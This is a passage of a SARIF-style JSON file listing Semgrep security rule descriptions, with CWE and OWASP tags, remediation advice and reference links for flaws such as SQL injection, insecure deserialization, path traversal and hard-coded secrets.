`eval`."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","id":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","name":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request)\n - [https://openjdk.java.net/groups/net/httpclient/intro.html](https://openjdk.java.net/groups/net/httpclient/intro.html)\n","text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","id":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","name":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"help":{"markdown":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen","id":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","name":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","properties":{"precision":"very-high","tags":["CWE-131: Incorrect Calculation of Buffer Size","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.alloc-strlen.alloc-strlen"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath","id":"java.micronaut.xpath.tainted-xpath.tainted-xpath","name":"java.micronaut.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"help":{"markdown":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8)\n","text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","id":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","name":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n - [https://www.npmjs.com/package/mysql](https://www.npmjs.com/package/mysql)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","id":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","name":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencrypted request over HTTP detected."},"help":{"markdown":"Unencrypted request over HTTP detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n","text":"Unencrypted request over HTTP detected."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request","id":"typescript.react.security.react-insecure-request.react-insecure-request","name":"typescript.react.security.react-insecure-request.react-insecure-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-insecure-request.react-insecure-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open","id":"ruby.lang.security.dangerous-open.dangerous-open","name":"ruby.lang.security.dangerous-open.dangerous-open","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open.dangerous-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","id":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","name":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","id":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","name":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pyyaml.tainted-pyyaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","id":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","name":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"help":{"markdown":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","id":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","name":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"help":{"markdown":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","id":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","name":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"help":{"markdown":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","id":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","name":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","id":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","name":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","id":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","name":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Found user data 